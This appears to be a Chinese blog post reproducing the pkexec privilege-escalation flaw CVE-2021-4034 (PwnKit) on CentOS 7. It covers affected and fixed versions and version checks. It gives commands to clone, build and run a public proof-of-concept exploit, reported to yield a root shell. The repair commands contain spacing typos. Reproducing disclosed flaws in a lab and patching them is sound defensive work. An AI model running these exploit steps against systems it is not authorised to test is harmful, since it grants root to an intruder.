【CVE-2021-4034-pkexec本地提权复现】

本文详细介绍了Linux系统中Polkit的PKExec组件存在的本地权限提升漏洞CVE-2021-4034(PwnKit),该漏洞可能导致本地特权升级。影响范围包括多个主流Linux版本。修复建议是更新到安全版本。受影响的系统包括CentOS和Ubuntu系列,而部分指定版本不受影响。漏洞验证和复现过程也进行了说明,同时提供了修复漏洞的命令。
摘要由CSDN通过智能技术生成

一、漏洞简述

Trustwave安全和工程团队于1月25日发现了Polkit的pkexec组件中的漏洞,该漏洞被识别为CVE-2021-4034 (PwnKit)。在polkitpkexec实用程序中发现了一个本地权限提升漏洞。pkexec应用程序是一个setuid工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的pkexec无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过制作环境变量来利用这一点,从而诱导pkexec执行任意代码。成功执行后,由于目标计算机上的非特权用户管理权限,攻击可能会导致本地特权升级。

二、Polkit简介

Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的预装组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。

三、影响范围

由于polkit为系统预装工具,目前主流Linux版本均受影响。

四、不受影响版本

CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

五、漏洞验证

通过以下命令可查看 Polkit 是否为安全版本:

centos:rpm -qa polkit

Ubuntu:dpkg -l policykit-1

六、漏洞复现过程

  1. 漏洞复现环境
  • 系统:Centos7
    polkit版本:polkit-0.112-18.el7.x86_64(通过rpm -qa polkit命令查询)
  • POC地址:https://github.com/berdav/CVE-2021-4034
  1. 下载POC到本地
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034

注意:命令是./cve-2021-4034,没有空格,加空格无法执行。

因为我的CentOS7无法将POC下载到本地,这里我是使用finalshell将POC上传到CentOS7

漏洞利用正常,直接反弹root shell

七、修复建议

建议广大用户及时将pkexec升级到最新版本。

7.1 Centos

yum cleanall && 
yum makecacheyum updatepolkit -y

7.2 Ubuntu

sudo apt-get update
sudo apt-get installpolicykit-1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值